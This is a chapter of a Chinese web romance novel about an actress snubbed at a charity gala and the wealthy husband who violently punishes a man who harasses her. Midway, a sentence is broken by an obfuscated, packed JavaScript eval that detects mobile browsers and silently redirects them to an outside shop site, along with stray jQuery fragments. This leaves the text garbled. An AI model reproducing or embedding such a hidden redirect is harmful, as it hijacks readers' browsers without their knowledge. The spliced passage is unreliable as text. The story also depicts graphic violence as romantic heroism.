从阳台上回来,孟芷已经挂了电话。
她从衣架上取下外套,提上包准备回房间,“我走了,你早点睡。”
书棠坐在沙发上,指腹还在蹭着手机屏幕。
“嗯。”她轻声回了一句。
孟芷走到门前拉开门,半个身子都走出房门后,又折返回来,“对了,有个事我忘跟你说了。”
“慈善晚宴你老公也去,提前跟你说一下,到时候别太惊讶。”
时绪...也去?
书棠低头看了眼手机,又侧身去看挂的整整齐齐的高定礼服。
————————
晚宴当天,众星云集,各路大佬的豪车停靠在酒店外。
车门被人从外拉开,车里走出的人非富即贵,名牌加身,记者媒体举着相机拍个不停,平日里众星捧月的流量明星,一时间变得无人问津。
晚宴的主办方把人与人之间的阶级分的十分清楚,大佬们西装革履,被人低头哈腰的请进内厅,直接参与晚宴的拍卖环节。
而来送热度的明星们,被低人一等的安排在了外厅,和一群有点小钱但没什么权利的新生豪门坐在了一起。
显而易见,他们在本次晚宴中担任的就是模特的角色,向有钱的豪门千金富家太太推出自己的珠宝。
然而,有一个人却跟其他明星的身份有所不同。
孟芷在来参加活动前,主办方亲口承诺她会以铂宸酒店千金的身份为她安排座位。
因此下车后,书棠提着裙子,直接略过了外厅的侍应生,踩着高跟鞋就往里走。
她这几天没和时绪联系,也不知道时绪到了没有。
“书小姐,请留步。”
在踏进内厅大门的前一秒,门口的侍应生伸手把她拦下,礼貌颔首,“您的座位有所调整,请跟我来。”
书棠秀眉微蹙,问道:“什么意思?”
“抱歉书小姐,因为您并没有提前作出承诺,保证您会拍下哪样竞品,所以可能需要委屈您坐在外厅了。”
参加拍卖会要确保自己一定会参与竞拍?
书棠气笑了,她从小到大全球各地什么样规模的拍卖会没有参与过,还从没听过这样的道理。
如果换做从前,没人知道她的身份,那她当然可以接受屈居人下,可现在不一样,堂堂书家千金参加拍卖会连内厅都不进不去,说出去多给爸爸妈妈丢脸。
“什么啊。”菲菲也跟着生了气,“是你们经理请我们家艺人我们才来的,这么大一个主办方,怎么能出尔反尔呢。”
书棠拉住菲菲的手腕,把她往身后拽了拽,凛然一副不可能退让的模样,“我不接受,你去找你们经理过来,让他给我解释。”
时绪还在里面呢,自己待在外面怎么去哄老公?
“这...”
“如果他不来,”书棠站的脚疼,菲菲给她拉了个椅子坐下,“我可以让我哥哥给他打电话,我也可以让我爸爸给他打电话,你让他选吧。”
她不想刻意为难这些拿钱打工的,所以也不打算硬闯,而是静静地坐在巨大的琉璃花束边,整理自己的裙子,等他把能主事的人叫来。
此刻,负责本次活动的刘经理还在和内厅的几位大佬推杯助盏,口中不停地感谢几人肯来捧场。
一杯浊酒下肚,他的眼神直直瞟向最中间那张圆桌的主位。
时绪来了有一会儿,也不喝酒,不与别人交谈,反而像是在等什么人一样,时不时的扭头向门口的方向看。
他倒满了酒,跟几人告辞,正准备去给时绪敬个酒时,便瞥见了急匆匆往这边来的侍应生。
“经理,书棠来了。”侍应生急得满脸的汗。
“来就来了,你跟她直接说就是了。”
原本以书棠的咖位坐在外面合情合理,但以往她都是以贵宾的身份参加的,所以听到座位安排后,她的团队直接拒绝了本次晚宴。
但今年的情况有些特殊,来参加晚宴的艺人里咖位大的有不少,可具备大流量的却没几个。
为了把书棠请来,他只能让步,把她安排进内厅。
可今天中午,原本确定不来参加晚宴的陈家突然又说要来参加,于情于理都不该把陈家安排到外厅,但内厅的人又没有一个可以得罪的。
于是,他就把目光盯在了书棠身上,反正铂宸这次也没来人。
“我说了,”侍应生压低声音:“可她说,让您亲自去和他解释。”
“你跟她说今天来宾太多了,我抽不出时间,改日一定亲自向她道歉。”
按他这么多年摸爬滚打出来的经验,一般也就劝过去了。
“不行啊,她说了,如果您不过去,她就让她哥哥和她爸爸给您打电话。”
闻言,刘经理的脸瞬间铁青。
为了一个陈家得罪一个书家,显然不是一笔划算的买卖。
他长叹一口气,随后不耐烦的把酒杯往侍应生怀里一推,摆了摆手,“走走走。”
外厅,书棠今天的高定很适配晚宴的布景,她单手靠着扶手,仰着头,优越的天鹅颈纤细修长,肤色白的恰到好处。
难得一见的精致侧颜摆在眼前,的确有不少人忍不住往那边看。
时绪坐在场内,他再次转身,厅内依旧没有书棠的身影。
借高定那天他就问过孟芷,得到的答复是书棠和他一样在内厅落座。
见她久久不出现,时绪掏出手机,点进置顶的聊天框。
老公:怎么还没来?
书棠的手机震了一下,菲菲看了眼,递给了她,“棠棠姐,你微信有消息。”
她按开手机,看到消息后也没觉得多惊讶,简短的打了两个字过去:门外。
收到消息,时绪起身,大步朝大门走去。
发完消息,一个不太友善的声音在书棠的耳边响起。
“这位小姐,能认识一下吗?”
被搭讪的次数太多了,书棠干脆连头也没回,“不能。”
来搭讪的是一个三十岁左右的男人,他长得还算周正,闻言脸色僵了僵。
书棠的声音不大不小,刚好够周围一圈的人听到,瞬时间,男人感觉全场人都在看自己的笑话。
不过,美人在这方面就是会有一点特权。比如惹得别人生气以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913041|213206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后,只要乖乖说几句好听的话,就能立马让人将金钱资源尽数奉上。
“小姐。”男人又打量了下她貌美明艳的脸蛋,以及那凹凸有致的身体曲线,重新挂上了笑脸,“你确定吗?”
书棠懒得理他,干脆当没听见。
一时间,连融着各种名贵香水的空气都变得尴尬,男人彻底被激怒了,他压着嗓音,赤裸裸地威胁,“一个女明星而已,你确定要跟我对着干?”
一个女明星而已?
这话激起了书棠的兴趣,她把手机扣在腿上,慢悠悠地转过身,随后换上了一副饶有兴致地表情,上下扫了他一边,“一身上下连200万都不到,还想学别人搭讪女明星?”
刹那间,周围的几桌人都忍不住笑出了声。同时,又觉得这个女明星的确胆子不小。
平日里不关注娱乐新闻的,压根不认识书棠是谁,从始至终,只把她当成一个入场前被大佬抛弃的金丝雀,耍无赖一般的坐在这儿。
可没人想到,这只金丝雀还蛮有脾气。
男人忍不住捏紧了拳头,居高临下地盯着这个不知天高地厚的女人,冷眼嘲讽:“臭婊子,你装什么...”
“框——”
他话没说完,一声脆响猛然间炸开,红酒瓶应声崩裂。
碎玻璃飞溅一地,猩红的酒顺着石面蜿蜒流淌,空气中瞬间弥漫开浓烈醇厚的葡萄酒香。
猩红的酒水溅开几滴落在裙摆上,书棠淡淡地拿着手机拍给孟芷,而后拖着裙子起了身。
男人捂着头,骂骂咧咧的抬头,正要出拳时却瞬间愣住。
“时...时总?”
霎时间,场内一片哗然。
不止是艺人,就连几个刚富起来的豪门,也是头一次见到寰宇集团掌权人的真容。
都说时家的基因好,从老的到小的各个模样出挑,现在一看还真是不错。
时绪没理他,低头去看书棠,“没事吧?”
书棠摇了摇头,“没事。”
看完那条消息,她就猜到时绪会出来找自己,却没想到来的这么及时。
确认了书棠没事,时绪才凉凉的转过头来,冷冽地目光一下下刮在男人身上,“你刚刚,说什么?”
男人吞咽了下口水,一个字也说不出。
很明显,养这只金丝雀的就是眼前颇有盛名的时绪,自己刚才居然想搭讪时绪的女人?
他的后背瞬间被冷汗浸湿,全场都投来了“你完了”的目光。
见他不语,时绪舌尖顶着上颚,冷不丁笑了一下,看的人心里拔凉。
他慢慢的弯下腰,在一地玻璃残渣里挑了两片最完整的。
“不想说...”他捏着两片玻璃碎片直起身子,突然伸手捏紧了男人的两腮,手指骨节泛白,骤然发力,逼迫着男人开口,“那应该是知道错了吧?”
脸颊上忽然传来剧痛,男人疼的紧紧皱眉,声音卡在嗓子里出不来。
“既然知道错了,就得吃点苦头。”
说罢,时绪当着所有人的面,轻蔑的看着他,硬生生将两片散着葡萄香味的玻璃碎片塞进了男人的口中。